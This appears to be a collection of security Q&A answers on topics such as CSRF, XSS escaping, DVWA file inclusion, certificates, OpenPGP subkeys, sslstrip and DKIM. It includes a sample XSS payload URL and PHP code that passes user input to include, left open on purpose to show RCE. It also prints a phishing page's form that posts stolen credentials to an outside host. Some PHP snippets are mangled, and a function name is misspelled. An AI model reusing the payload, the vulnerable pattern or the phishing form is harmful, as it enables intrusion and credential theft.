There are 13 top-level server designations, but there are significantly more than 13 servers, since most of them are multi-homed. Taking down all of them at the same time would be extraordinarily difficult.

Furthermore, the only information you need to get from the root servers is the location of the TLD servers, of which there's only a few hundred. Any resolving DNS server will already have this information cached, so you have to keep all of these server down for the entire period during which the root data is cached, which is typically 2 days.

During this time, people would notice and take countermeasures to prevent caches from expiring.

Altogether it's a tall order at best, and in all reality just a tough-talking pipe dream.


How to fix CSRF vulnerability alert on a website with no user authentication, If it is caused by an external Mailchimp signup form embed

One of the pre-requisites for a successful CSRF attack is that the user should be authenticated already. From your question, it doesn't seem like the user is authenticated on that page.

In CSRF you forge an authenticated users request to submit some form data to make state change in the application.

There is a special case of CSRF on login pages, which is Login CSRF. In this, you make the user login with your own credentials to track the users activities. Suppose you are trying to attack an e-commerce application, you can make the user to login using your own dummy username and password. When the user later on pays for something online, they may unknowingly add their credit card to your/attacker's account. This case may be applicable to you.

In any case, the fix should be at 'mailchimps' end as they are the ones validating login info. Hence, embedding and validating the CSRF token should be performed by them.

It would be helpful to answer more accurately if you can provide details on the features that your application provides.


How safe is virtual box without internet

Virtual machines work as sand boxes to keep bad things in, not bad things out.  If the host is compromised, so are the containers running within it as the virtual machine has to call out to the host for many actions and the host has full awareness and control over the system running within it.


Secure sensitive information sent from Server to mobile App

Never Trust A User

What does this mean? Always assume a user will have access to any and all data on a user's device. You cannot stop them from getting it because they can just follow through your memory heap, find it RIGHT before encryption, and take it.

Prevention

Some bad news boss. You can't. Even if you limit it to being on the remote server only they can still just brute force every combination they are curious about and get it. The only thing you can really do is make it not feasible to do so with rate limiting so that it would take them YEARS. If they have a local copy of the database, and just watch for that encryption key in memory they can get the data either way.

  If they can get the data through any way, they can get the data.

It's a sad truth of security.


Does an insecure computer on my home wireless network threaten other machines?

It does indeed slightly facilitate a remote attack on your machine, since an attacker would be able to send you packets from your local network, rather than having to rely on NAT traversal from the router you use to connect to the Internet. You would still need to have network-facing services running on your machine, such as SMB/CIFS, Telnet, other protocols for local peer discovery (e.g. Bonjour), or the attacker would need to attack certain layers of your OS's network stack (since they can send you packets directly, although that's quite rare).

What you should be slightly more worried about are possibilities for ARP spoofing, DNS spoofing, and so on. If you start getting invalid certificate errors or seeing unexpected content whilst using the Internet on an untrusted local network (usually public WiFis, but a private WiFi with infected machines would work just as well) then you should be worried.


Sanitize your input, by escaping HTML special characters.  In PHP this is done with htmlspecialcharacters.  Make sure you do not supply a flag that prevents htmlspecialcharacters from escaping the type of quote you use.

Your problem is your URL is http://example.com/?s=login&m=forgotten" onload=alert(966) bad=", which your PHP code which is probably something like this:

<?php
$var = $_GET['m'];
echo 'something';

but on straight simple substitution with the bad input becomes:

something';

The problem arises from the unescaped ".  The sanitizing PHP function htmlspecialcharacters will change the " to a &quot; so with:

<?php
$var = htmlspecialcharacters($_GET['m']);
echo 'something';

the rendered HTML will be:

something';

which your browser will interpret as one giant link to forgotten&quot; onload=alert(966) bad=&quot;, instead of an html tag containing the onload attribute.

Personally, I'd move away from PHP and to a web framework that starts with security in mind; e.g., automatically HTML escapes all input from database and query parameters in templates (unless specifically marked otherwise), does CSRF checks by default, use query parameters, etc.


DVWA - Converting Local File Inclusion to Remote Code Exploitation

I think when it works like that (if it works like that?) it's because in old versions of php, PHP code was executed as it was output by the server. In a normal .php file that is part html and part php, maybe the webserver would spit out all html until it hits a <?php statement and then starts executing the php code. I'm not quite sure because I can't replicate it with a modern copy of php.
For what it's worth I just tried it on a webhosting account that uses PHP 7.2.30 and it really doesn't seem to work that way (anymore?). I'm really not an expert. Obviously, if you include, include_once, require, etc a file from a variable it'll become RCE.
first test (wont work):
<?php
  readfile($_GET['lfi']);
?>

third test (will work):
<?php
      $str = $_GET['lfi'];
      include $str;
?>`

The wikipedia page just says that it needs to be a function that executes files, and then gives a good example of why someone might code an application that way. https://en.wikipedia.org/wiki/File_inclusion_vulnerability#PHP


Says HTTPS website (Apple and Netflix) are not private after opening port 443

The security risks of opening ports are really about the risks of the services running on those ports. It is possible that someone discovered your test website and pwned your computer because your site had weaknesses (assuming that this is the same computer that you are seeing the error).

If this happened, then yes, they could have done anything, and an effect could be certificate errors on HTTPS sites.

In your specific case, because the certs are not legitimate, it looks like you have been pwned.


The encrypted HDL is decrypted by the EDA tool. The private key is needed by EDA tool during analysis phase (e.g. simulation) or transformative phase (e.g. synthesis). The private key belongs to EDA tool. Key is not needed by hardware. You can find more details at https://ipencrypter.com/brochures/hdl-ip-protection/


What can you do to make a hashed token database retrievable at a later date?

What use case do you have for not having a token ID ?
Anyway if you use long random tokens (having sufficient entropy), then both bcrypt and salt become unnecessary and you can speed up operations by using unsalted SHA2. With the same premise your proposed solution is also acceptable, though it seems unnecessarily complex.
(edited after comments)


Token and cookie based mechanisms: stateful or stateless, session or nonsession based?

Session is state.

Cookies provide a mechansim for providing state (persistent data) via http, a stateless protocol.

State can be used to represent the outcome of authentication, but can also represent all sorts of other things.


Safe to expose Active Directory via LDAPS externally?

Assuming that the LDAPS server does not have security holes, exposing it to the wide Internet should be no more risky (and no less) than exposing a HTTPS Web server. With LDAPS (SSL outside, traditionally on port 636, LDAP protocol in it), the authentication requested by the server will be performed under the protection of SSL, so that's fine (provided that authentication passwords are strong, as usual).

... with one caveat nonetheless. A big part of HTTPS security is that the browser, i.e. the client, makes sure that the server's certificate is correct: verification of all signatures with regards to a set of trust anchors; revocation status checks; verification that the intended server name really appears where it should in the server's certificate. If you access the LDAPS server through some software, then that software should apply the same kind of verifications; but I doubt most LDAPS clients are that thorough.


How much information, at maximum, can a phisher/scammer obtain?

It depends on two main factors:

The skill of the Phisher/Social Engineer
The Gullibility of the victim (How much he/she is convinced by the Phisher)

It can range from basic information, such as your location, phone number and full name to your family's details and bank credentials.

Then you have to ask yourself, how much does Google know about you?

The main vulnerability in a human (apart from stupidity) is online presence...
Do you have a Facebook Account? Clearly this Phisher knows your Email account, is this linked to your Facebook, Twitter or LinkedIn account?

Does your password contain a date-of-birth, family/pet name or 13375P34K?

Then we reach your iPhone... Is it password protected? Number or Phrase?

If it's a number, is it 123, 1234, 12345, 15790, 78982, 1278?

If it's a phrase, is it P455W0RD, home, passwOrd, Password, QwErTy?

If the attacker does in-fact have your iPhone, and easily guesses your password, then everything you have ever connected to with that device is in danger...

Humans are creatures of habit, and always will be. Once an attacker is in your life, he will not stop!

This Phisher can Dox you right there and then! With the right amount of luck & skill...

Full Name
Address
Phone Number
Family names
Family accounts
Family details
Bank details
Other website accounts
Many, many more...

Then we can think about what happens when they've acquired enough information about your bank, the man sat at his desk in his boring office will just be as gullible as the next, if he's given the correct information, he will let anyone into your account.

Remember that Social Engineering is a very powerful weapon, and due to current media control and educational failure, humans are easier to hack than computers!

Happy thoughts! <3


Could I delete .csr files once the key was signed by CA

The Certificate Signing Request (CSR) is of no use once you've obtained your certificate. It's merely one of the vehicles that can be used to give the CA your public key as part of the application process, so that they can issue a certificate.

You'll now be able to get the public key again from the certificate itself anyway.

In fact, in this particular format, you'll be able to get the public key from the .key file:

openssl rsa -in NewClient007.key -pubout

In fact, you'll also be able to re-generate the CSR using this:

openssl req -new -key NewClient007.key -out NewClient007.csr

(Note that you don't need the -days 3652 option when generating the CSR, since a CSR doesn't have not-before/not-after dates, unlike X.509 certificates. This is only useful if you want to generate a certificate during this step.)

I would, however, suggest using -newkey rsa:2048 or -newkey rsa:4096 instead of relying on the default key size, which is often 1024 bits.


Security risks of leaving open a VPN connection

The risk presented in an always-available tunnel is negligible, especially if you have the traffic going over it restricted by firewall policy and monitored for suspicious activity.

The largest risk is a compromised system on their end - which is negated by a good firewall policy and IPS/IDS monitoring. A much more negligible risk would be an imposter tunnel - a rogue system with their IP and pre-shared key or XAUTH credentials. Even then, they're still running into the policy and IPS/IDS.

Defense in depth means this is generally a good risk tradeoff - it should be secure to keep the tunnel available at all times.


Is the certificate I receive back from the CA supposed to be private?

The certificate you receive back from the certificate authority is the public certificate. You can consider it as public, and it will eventually be be published by the certificate authority in certificate transparency logs.

Moreover, if anyone had access to it, including your certificate authority, you must consider it as public.


How to authenticate using RSA avoiding MITM attacks

In this protocol, Alice "has* authenticated herself to Bob. Bob knows that the signature was made by Alice. Eve has merely forwarded the communication. Eve had not carried out any attack: she had not violated any security property that Alice or Bob expects.

I suspect that your difficulty comes from the fact that this is a very simplistic protocol that isn't very useful. The only information that Bob learns is Alice has been alive at some point after Bob sent the nonce. No useful communication has taken place.

To make this protocol useful, let Alice send some data in addition to the nonce: Alice send S(nonce + M) where M is some message. Then Bob knows that Alice sent the message M in response to Bob's message containing the nonce. The signature guarantees that M comes from Alice, not Eve. The nonce guarantees that M is a recent message, not some old message that Eve had stored.

Note that it's important that Mand the nonce are signed together. If Bob received S(nonce) + S(M), he would have no way to know that M isn't some old message that Alice sent earlier in a different context. If Bob and Alive want to have a conversation with multiple messages, each message needs to be signed and the signed data needs to contain an unambiguous reference to the previous data in the conversation (typically this is fine by hashing the previous message). Otherwise Eve could rearrange pieces of the conversation or mix messages from different conversations.


Using the openssl command, how can I tell if it's using TLS 1.0?

TL;TR: It is far from trivial to verify from the client that a server is not supporting TLS 1.0. You can be sure that the server supports TLS 1.0 if you get a successful connection with TLS 1.0. But you cannot be sure that the server does not support TLS 1.0 if this attempt fails.

As you already realized the information given in the link you cite are at least partly wrong. Also, they are incomplete. Checking if a server has really TLS 1.0 disabled is not that simple. To understand what need to be checked to be really sure it is better to have at least a basic understanding of how the TLS-Handshake works. Note that most of what I say here is also true for SSL, which is mainly the earlier  name for the same protocol family now known as TLS.

Initially, the client needs to create a TCP connection to the server. This has nothing to do with TLS itself yet. And already if the TCP connection succeeds you will get CONNECTED(00000003). If you don't get this CONNECTED then the server might be down or might not be reachable from your site, for example because a firewall is blocking the access. Thus, not getting the CONNECTED says nothing about the ability of the server to support TLS 1.0.

After the TCP connection is created the TLS part begins. In the simplest case the client sends at the beginning of the TLS handshake inside the ClientHello message the best TLS version it can and the ciphers it supports. The server replies with the best SSL/TLS protocol it supports which is equal or lower to the protocol version offered by the client. And the server picks the common cipher based on what the client offers and and what is configured to be acceptable for the server. In your specific case the client offers TLS 1.0 as the best protocol (due to the -tls1 option) and the default cipher set. The handshake will fail if the server does not support TLS 1.0 or lower OR if the server does not support any of the ciphers offered by the client. Because of the last part it is possible that the server fails with your specific client even if the server has TLS 1.0 enabled because the server does not like the ciphers offered by the client.

And it gets more complex. It is common that servers support multiple certificates on the same IP address today. This is done by including the target hostname using the SNI TLS extension  inside the ClientHello at the start of the TLS handshake. If there is no SNI extension or if the extension does not match any configured hostname the server will usually either send some default certificate or abort the handshake. Because of the last part it is possible that the server fails with your specific client even if the server has TLS 1.0 enabled because no SNI extension was used or it was used with the wrong hostname. openssl s_client will not use SNI by default so your attempt might simply have failed just because of a missing SNI extension. You have to use the -servername option for this and of course you need to use a hostname properly configured at the server with this option.

And so far we dealt only with sane TLS stacks and a direct connection to the server. If the TLS stack is broken or if there is some broken middlebox in between (like load balancers, firewalls etc) they might make the handshake fail accidentally or on purpose even though the server supports TLS 1.0. And if you have some SSL termination in front of your server (some firewalls, load balancers or a CDN) you will not even test the properties of the server but of the system in front of it.

In other words: if you get a successful TLS 1.0 connection to the server you can be sure that the server or some SSL terminator in front of it supports TLS 1.0. If the TLS 1.0 connection fails instead it does not mean for sure that the server does not support TLS 1.0.


Got a spam mail with an htm attachment, is the script harmful?

What is it?

I decoded your "garbage." This is base64 encoding, and is far too large to place here. Here's the decoded result: http://pastebin.com/NBV4iY2s

This seems to be an attachment of login page for Google Drive. In fact, everything is lifted from Google Drive, with the exception of a few items.

This is a phishing attempt.

As you can see from line number 2642, it's actually trying to send the data to a web server in Russia:

<form action="hxxp://www.gladiolusfashion.ru/js/fancybox/country.php" id="signup" method="post" name="signup">

It's basically just trying to steal your Google account details. This is a run-of-the-mill phishing attempt.

However, there's another potential issue: an image hot-linked from the U.K:

Confirm your identity.

What that likely does is alert the owner of that website that an attempt was made to access that particular image. If the owners of those websites are the same, then your IP address and access attempt could then be logged. This could help them to determine the effectiveness of their phishing attacks. "How many people view this vs. how many fall for it?"

It's also possible that the web server for the images were also compromised. It may either be compromised, or just hot-linked. It's difficult to tell.

At the top, to avoid alerting Google's hot-link phishing detection, the phishers had no choice but to hot-link to a free icons website to give it the appearance of legitimacy. You can see this on lines 2585 and 2586:

<link rel="shortcut icon" href="hxxp://icons.iconarchive.com/icons/marcus-roberto/google-play/512/Google-Drive-icon.png">
<link rel="apple-touch-icon" href="hxxp://icons.iconarchive.com/icons/marcus-roberto/google-play/512/Google-Drive-icon.png">

Finally, when you submit data, it sends you to a fake page saying that the requested file doesn't exist. (pastebin)

TL;DR Breakdown

This phishing attempt is trying to do a few things:

Upon opening the attachment, it will attempt to redirect you to a page with a fake Google Drive login, and try to trick you into entering your credentials.
If you were dumb enough to enter your credentials, they will be submitted to a php script located on a server in Russia.
Once submitted, you will receive a fake login page (pastebin of this) telling you that the file doesn't exist.

Conclusion

Don't bother opening it. It's trying to get you to enter your credentials.


The standard user-accessible data are call history, SMS and contacts, if your phone is set to store these on the SIM. Most smartphones store these in the phone by default (as most SIMs have very limited storage space).

In addition, there could be STK applications that store proprietary data on the SIM. Very few people use these any more and the data stored is probably only relevant to the carrier.

If you want to protect the data on the SIM, simply set a SIM Pin (note this is different from your phone's unlock PIN). The chip in the SIM will not allow any data to be accessed without the PIN. Alternatively, set your phone not to store anything on the SIM and encrypt your phone with a password.


There is a trade off here between usability and security. Keeping the username secret is more secure, but makes it harder for the user to use the application. Confirming whether a username exists is a marginal risk: the attacker can guess a limited number of values. If the username is an email address, the protection is reduced even more since email addresses are generally public. These providers think that the little reduction in security is worth the extra usability this offers for the user.


How does Google track users in Incognito mode?

There is a common misunderstanding of what "Private Browsing" or "Incognito Mode" actually does.
There is no anonymity or tracking protection provided. What these modes do is block persistence of information across sessions, preventing permanent storage of cookies or history after the browser has been closed.
Within a given browser session, meaning from start to stop, Incognito and similar works exactly the same (caveat) as a normal browsing session. The difference is that local storage is blocked so all of the session information is gone upon browser termination.
Some browsers (Firefox) proactively block writing to local storage in private mode. Some browsers (IE as of 2 years ago) wrote to local storage but cleared local storage upon start up.
Caveat:
Because protected browsing may not allow HTML5 local storage, many sites now complain about protected browsing. Some sites, like Netflix, will not work at all without the ability to write local storage.


Windows service with elevated privileges - Security concern

The design of services on the Windows platform implies that if your software architecture requires using some additional privileges it needs to be split into the parts where one of them usually runs as a service under "System" account.
The other part of the software typically communicates with this service using some IPC mechanism and runs with the restricted rights, for example, as a non-elevated process (if UAC is enabled and even if UAC is disabled but the software is designed to always run under restricted token, for example using CreateRestrictedToken Windows API).
Most of the Windows OS components and solutions from the different TOP vendors are created in this way. So, if a service that runs under the "System" account and an application which communicates with it were developed with best security practices in mind, everything is ok.
And vice versa, if a service allows any code to dictate which app to run and it runs it under a non-restricted access token with the "System" owner - this is definitely a security problem.


Your argument is valid, with Sign & Encrypt method, the 2 layers are independent and this gives you (as Bob) the ability to re-encrypt Alice's message while the signature is still in place and forward it to Carol.

One other option would be to Encrypt then Sign but there's also a vulnerability in this approach. Bob or any eavesdropper can remove the signature and add his own signature. Without knowing the contents of the encrypted message he can impersonate himself as the sender of the message.

There are numerous discussions on SE so I won't get into them. e.g: Should we sign-then-encrypt, or encrypt-then-sign?

The solution has to add a binding between the signature and the encryption layer because the vulnerability lies in the gap where these two independent layers are.
And as you said we could add the recipient's address into the encrypted part of the message.

In this Page (Defective Sign & Encrypt in S/MIME,
PKCS#7, MOSS, PEM, PGP, and XML ) in section 5, five repair options are proposed:

  Sign the recipient's name into the plaintext
  Encrypt the sender's name into the plaintext
  Incorporate both names
  Sign again the signed-&-encrypted message
  Encrypt again the signed ciphertext.

For Naming Repairs solutions:

  Perhaps part of the reason naïve Sign & Encrypt seems secure is that with many common payload messages, S&E is secure. For example, even if Alice just signs and encrypts the text ``Dear Bob, The deal is off. Regretfully, Alice,'' then Alice's message is secure, albeit only accidentally so. The presence of names under both crypto layers is crucial, but including both names is not strictly necessary

Using Sign/Encrypt/Sign:

  Inner Signature: "Alice wrote the plaintext;"
  Encryption: "Only Bob can see the plaintext;"
  Outer Signature: "Alice used key B to encrypt."

Using Encrypt/Sign/Encrypt:

  First Encryption: "Only Bob sees the plaintext;"
  Signature: "Alice wrote the plaintext and the ciphertext;"
  Outer Encryption: "Only Bob can see that Alice wrote the plaintext and ciphertext."

You can also find the analysis of cost/benefit under that link, the simplest repair is adding recipient's address to the plaintext and then Sign and Encrypt.

Going back to your main question, there seems to be no standard implementation for PGP clients to add/verify recipients address in the ciphertext, so one could go ahead and manually add/verify the address into the message body.


What are the advantages to OpenPGP "subkeys"?

As far as I can tell, "associated with" here just means that they're automatically grouped together in the UI, for user convenience, but I could achieve the same security by simply creating additional key pairs separately, and signing them with my first key. Is this correct?

Consider an OpenPGP (primary) key an identity, linking together user IDs, subkeys and certifications. If people want to communicate with you, they select this primary key, and will not have to care about any further details.

If you ready the OpenPGP specification closely, you will realize the implementation of the Subkey Binding Signature 0x18 is very close to what you described: you generate another key pair (which for subkeys is designated as such, but otherwise not very different from primary keys), and bind it to the primary key using a signature (but a special one, that is defined as binding the subkey).

By not using multiple primary keys and "normal" signatures, OpenPGP allows you to pretty much hide the details behind subkeys. For normal use, it does not matter whether a subkey changed. If you care, you can have a closer look at the key and its subkeys, but you don't have to.

So yes, you can achieve the same security with separate keys -- but losing much of the convenience and ease of use of subkeys.

  But the UI of GnuPG and several key management GUIs I've used does exactly the opposite of this. It groups keys with their subkeys, assumes by default that you want to copy or move them together, and doesn't always make it clear which key in a set is being used. An entirely separate key would be more suited to this purpose than a subkey, wouldn't it?

Indeed, the user interface often lacks here. But be aware that using offline primary keys is already very advanced usage of OpenPGP/GnuPG, and without some knowledge of OpenPGP and the tools you're using, you'll get into trouble using such keys, anyway.

For creating such a key, you'd usually just move out the whole GnuPG home directory, which you will keep especially safe and offline. Generate subkeys as required, and export those subkeys using gpg --export-secret-subkeys [subkey-id]! (you can also define multiple of them). Be aware of the exclamation mark ! after the key ID, otherwise GnuPG will resolve the key ID to the primary key's ID! Import the exported secret key to your day-to-day GnuPG home directory.

Think of this as a trade between easier key handling for the key's owner (taking advantage of advanced OpenPGP features) and easier key handling for other users (which will often be less confident with the technology in use).


Is it possible for a domain to be faked?

Domains are "faked" all the time. All you need to do is to change the DNS entry. You can do this by setting up a malicious DNS server or to edit the computer's local hosts file that acts like your device's internal DNS server.
It is also possible to control a legitimate website to host pages deep in the file structure. So that www.example.com/flowers/d/g/login/totallyreal/malicious.html can be any type of page you want or look like any legitimate page.
But I think that's not the issue here. I think there is a simple miscommunication between you. Because of course Paypal "has 3rd parties".


The core issue is that http.sys processes all requests for RFC compliance before passing them to IIS. Thus any IIS Request Filtering setting is meaningless. Even maxContentLength=1 will do nothing if one were to upload a large amount of data. Http.sys will continue to accept the stream. This was identified on a similar thread here (Spoiler alert! http.sys does!):

Does IIS Request Content Filtering Load the full request before filter

Default Limits for Web Sites
Tune your website limits in particular connectionTimeout. This will drop long-lived connections and large data uploads. Note that these settings are for the entire site so other pages or services allowing file uploads should be considered when establishing these values. Take the maximum amount of data one should upload along with the lowest allowed speed. However long it takes to transfer that amount of data at that speed is your connectionTimeout value.
Request Filtering
While Request Filtering won't directly address your question, it greatly improves security and may also improve website performance. This is because the module runs very early in the pipeline discarding bad requests before they can get to the slower application layer logic. I wrote a PowerShell module IISRFBaseline which aims to take much of the guess work out of establishing these values by analyzing the IIS logs and website content directory. There's also plenty of README.md to answer any setting specific questions.
Qualys Recommended Remediation
Qualys offers great tips for addressing this finding though I believe there's too much emphasis on Request Filtering for the reasons mentioned above. That said, here's their recommendation:

Limit request attributes is through the <RequestLimits> element, specifically the maxAllowedContentLength, maxQueryString, and maxUrl attributes.
Set <headerLimits> to configure the type and size of header your web server will accept.
Tune the connectionTimeout, headerWaitTimeout, and minBytesPerSecond attributes of the <limits> and <WebLimits> elements to minimize the impact of slow HTTP attacks.

Source: How to Protect Against Slow HTTP Attacks


Once the HTML, css, and JavaScript have been downloaded to a browser, it's out there.

If your code is so amazing that you don't want anyone else even looking at it, you could send the entire page as an image, then every user interaction could send a separate http request and have your server render a new image back after each interaction. This would be a massive headache. It would probably have horrible performance.


When creating self signed certs, is the CA.crt supposed to be installed into client machine?

tl;dr If the cert contains some variation of CA:TRUE, it makes sense to distribute it, if it does not, then there is no benefit to distributing it.

The chain of trust itself can be explained in terms of the certificate structure.

If we start from your server's cert (i.e. the cert you would typically use for apache):

you server cert is generated by a certificate authority, based on a CSR you provide. That CSR contains your public key, and some other information the CA may or may not be interested in using.
the CA receives your CSR, and (generally), will create a signed certificate using an intermediate CA. Your certificate will have two public keys: one for the subject (which is the public key extracted from your CSR), and one for the issuing party, which is the CA's intermediate certificate.
the CA's intermediate certificate is itself a signed certificate (with some special options), where the subject key will be the intermediate CA's public key (which is the same public key as is found in the Issuer Public Key of your server certificate). The signing (or issuing) key will be the CA's root certificate (alternatively, it will be another intermediate).
the CA's root certificate is (generally) a self-signed certificate. In practice, this means that the Issuer and Subject keys are the same public key.

You can see this by checking certificates in the wild, e.g.:

$ openssl s_client -connect google.com:443 < /dev/null
CONNECTED(00000003)
depth=2 C = US, O = GeoTrust Inc., CN = GeoTrust Global CA
verify return:1
depth=1 C = US, O = Google Inc, CN = Google Internet Authority G2
verify return:1
depth=0 C = US, ST = California, L = Mountain View, O = Google Inc, CN = *.google.com
verify return:1
---
Certificate chain
 0 s:/C=US/ST=California/L=Mountain View/O=Google Inc/CN=*.google.com
   i:/C=US/O=Google Inc/CN=Google Internet Authority G2
 1 s:/C=US/O=Google Inc/CN=Google Internet Authority G2
   i:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA
 2 s:/C=US/O=GeoTrust Inc./CN=GeoTrust Global CA
   i:/C=US/O=Equifax/OU=Equifax Secure Certificate Authority

The chain of trust this builds can be summarised as (I am starting from the 'bottom' - the Equifax cert):

the root CA (Equifax) delegates day-to-day activities to an intermediate CA (GeoTrust) and signs a certificate representing this fact (i.e setting CA:TRUE, KeyUsage: keyCertSign). In other words, the root CA 'trusts' the intermediate to issue certificates on its behalf (hopefully after completing a series of mandatory validation steps).
in this chain, the intermediate (Geotrust) has further delegated to a Google CA (CN=Google Internet Authority G2).
the delegate (a.k.a the Google intermediate CA) then signs a CSR, which effectively is a document stating that for a given set of names (the CN, and possibly Subject Alternative Names), a private/public key pair is valid/trusted (the trust here coming from the fact they have validated the claim to speak for a given name - in this case, the Google CA has issued a certificate for *.google.com).

Note that (root) CAs are generally self-signed - a CA is trusted generally because it abides by a set of processes and procedures that are felt to ensure it does not issue certificates to people who should not have them. Which is why I can't go out and get myself a certificate saying I am google.
This is therefore a convention of sorts (albeit one backed by formal mechanisms), and if you start your own CA, distributing its root (and intermediate) certificates achieves exactly the same thing as distributing the certs of other CAs does: it makes certificates issued by that CA be accepted as valid (i.e. trustworthy) by the system.

In more practical terms, the trust store (for openSSL) is pretty much a bunch of files with a specific naming convention. See https://www.openssl.org/docs/faq.html#USER5:

  When a certificate is verified its root CA must be "trusted" by OpenSSL this typically means that the CA certificate must be placed in a directory or file and the relevant program configured to read it

That directory is /etc/ssl/certs (there are others, such as /etc/pki on RH-likes).

https://superuser.com/questions/437330/how-do-you-add-a-certificate-authority-ca-to-ubuntu#719047 provides some further overview of how one adds a certificate to the store, as does https://askubuntu.com/questions/73287/how-do-i-install-a-root-certificate,

The short version is that update-ca-certificates automates the process, and is the commonly used tool.

The slightly longer version is that certificates need to be stored by hash (e.g. in files named based on the output of openssl x509 -hash -in cert.pem), so that openSSL can efficiently validate chains.

See https://www.openssl.org/docs/man1.0.2/apps/c_rehash.html for some additional background.

updated to respond to the questions in comments:

The server certificate, in this discussion, is defined as trusted or not based on its chain of trust.
If you think about how (e.g.) curl https://google.com works, it is a bit easier to understand:

curl opens a TLS connection to google, which returns a certificate.
curl looks at that 'end-user' certificate - i.e. the server's certificate, and looks specifically for the issuer.
if the issuer is 'known' in the trust store, the remainder of the trust chain is validated (i.e. the server certificate issuer's certificate is checked, and if it has an issuer other than itself, that issuer is checked, etc). Only if the full trust chain can be validated is the certificate considered valid.

However, it would absolutely impractical to distribute trust chains if end-user certificates needed to be included.
I don't have any numbers on how many websites are out there, but based on the fact Alexa provide a top 1M, you would assume it is more than 1 million.

Which is sort of the point of a chain of trust: you generally need to have the issuer certificates around, but you do not need the end certificates to be distributed, because they tell you who the issuer is.

And you can verify they aren't lying, because you can check the issuers public key (and the chain of trust that establishes it is the proper key), and validate whether the end-user (i.e. server) certificate was really signed by the private counterpart of the issuer's public key.

So no, you should not distribute the end-user certs, but only the chain of trust - or, in simpler terms: distribute all the certs you generate where the BasicConstraints (legitimately) say something at least CA:TRUE.
Do not distribute anything that does not meet that condition, because it is a waste of your time and disk space - everything that does not say CA:TRUE can be validated against something that does.


You are correct that SHA1 is deterministic - i.e. if you give the algorithm the same input, it will produce the same output not matter what computer you run on, where in the world you are, what year it is, the color or your skin or the content of your character.

There are an infinite number of inputs (any string), but only a finite number of outputs (160-bit string). Since the outputs are finite (just finite - there is no such thing as "very finite"), you are correct that in theory it would be possible to generate a "dictionary" with a matching inputs for each output.

You are also correct in your intutition that this might be practically impossible even if it is theoretically possible, given that that the dictionary would need to have 2^160 different entries. Here are two of the problems:

To make such a dictionary, you need to generate about 10^48 hashes. The universe is around 10^17 seconds old. So if you started at the big bang and generated 10^31 hashes per second you would be done by now.
To store such a dictionary, you would need around 10^50 bits of storage (10^2 per entry). That is roughly the number of atoms on earth.

You could off course make a dictionary for a subest - say the most common passwords - but doing one for the full output space is not realistic, even in science fiction. And if you did, it would just map the output to one of many possible inputs.


sslstrip works with Internet Explorer only?

SSLStrip will work on any browser.  This attack will fail to work under Firefox and Chrome for websites protected with HSTS.  For example Google.com and gmail.com should not be affected by SSLStrip because of HSTS.   Internet Explorer is not complaint with RFC-6797,  which describes the HSTS security measure and is therefore more susceptible to attacks like SSLStrip.


Modify Javascript Variable with URL Exploit

No, this is not possible without an XSS vulnerability. If such a thing were generally possible, XSS would run rampant and you could execute any arbitrary code on any page, which would be bad.

Now if the code had a reflected XSS attack vector, or an DOM-based XSS attack vector, the the URL could be used to deliver a JavaScript payload. Of course, this would only be possible if the server-side or JavaScript code had such a security vulnerability (if your code makes that possible, then you should fix it).


In the case of web server logs, allowing read could potentially allow remote users to read sensitive data from the system, if any compromise was found in the running web applications. On the other hand, by only allowing write access, the web server logs could potentially contain fraudulent entries, but any sensitive data in the files should remain secure.

Depending on the type of vulnerability, it might be possible for an attack to escalate their privileges, but that's an extra step to possibly get useful information, which could be enough to put them off. A lot of attackers are mostly interested in low-hanging fruit, so keeping the permissions to the minimum level required for a service to run is a good habit.


How to prove someone sent an email to you?

It sounds like your message is signed using DKIM which is good, because this provides cryptographic proof that the sending mail server sent the message and verifies the integrity of several key fields such as the to and from addresses. Assuming that the sending mail server can be trusted to properly authenticate the sending user (eg. via their login) then this essentially proves that the user in question sent it.

I'd provide the whole header to authorities, but the section which looks like this will be most important:

X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=1e100.net; s=20130820;
h=mime-version:message-id:date:subject:from:to:cc:content-type;
bh=62R0FTDx1ty9lsn/QNK3rrnxESP0zwJj1ca95CbZzxQ=;
b=JAd1gFDtEKmA+KtSYuALKekaVb150ZFfqxluvTb6nc3pi5n2l8EE8BjZFTlyuif+h9
aGk6MyYrsBLFYjAQtweTcBlChVvBTw01mhJKGrKEVAKrnmHNknN9ivoV90/7024UEjGJ
w5VOtjmTC0lBCYIrnuqK13yDbjx2Ra4SzJ62RaUpoM4eECsJbBLK9BK0TULg92ozfwf9
UHF4ozrXIyTgeG87ifDtuz5ddrwFvP47mgoqP7ENaXsxhGFZqHOFJly7jrvNbWEWEfRX
ygY2Miuu/DnB1g1C/ahGq8VtQvb0XmVEK4XESJPBgP3F0wfpT4MrGbJbYiW3Z9SIiA1F
jhXw==

Your mail server might automatically validate the DKIM signature and include the validation result in a header such as "dkim=pass", but you don't have to trust this and you could verify the signature yourself if they questioned it.


Does My Neighbor Sniff My Mobile Data Through Wifi

Perhaps we can generalize things a little. Any wifi connection can potentially be breached and the attacker could use the "evil twin" attack so that you send all your wifi traffic to them, and they can use WireShark to collect your packets. This is true of any wifi connection and any wifi device.

There are ways to reduce the risk and to protect yourself, and those protections depend on the wifi equipment involved and your technical skill.

On the other hand, one cannot "hack your wifi" and gain access to the data sent over the cellular network, if that was what you were asking.


Howto seed the PRNG in OpenSSL properly?

The proper way is to use /dev/urandom, not /dev/random. There are very few cryptographic algorithm for which /dev/random is even theoretically better than /dev/urandom (this would be information-theoretic secure algorithms, not mundane things like AES or RSA). /dev/urandom produces randomness of cryptographic quality provided that it could get at some point at least 20 bytes or so of "true randomness", something which the OS took care of during installation. /dev/urandom happily extends that initial seed into megabytes of pseudo-alea which is computationally indistinguishable from true randomness (that's all you need), and it will never block.


How to select the right SSL cipher suite for low powered hardware?

Generically speaking, performance ought to be measured in a realistic situation, so you should use as client one of these sluggish set top boxes. When you connect to your server, run a network monitor tool on the server (e.g. Wireshark) to get the precise timings of exchanged packets; this will show what cipher suites the client supports (they are listed in the ClientHello message), what the server decides to use (in the ServerHello message), and pinpoint the operations where time is spent.

Performance issues with SSL will occur either during the handshake, or afterwards when actually sending and receiving data.

For the handshake, you may get issues with latency because a SSL handshake is four-way (two roundtrips before client begins to send the actual HTTP requests); however, this occurs only at the beginning of the SSL session. Browsers keep connections open.

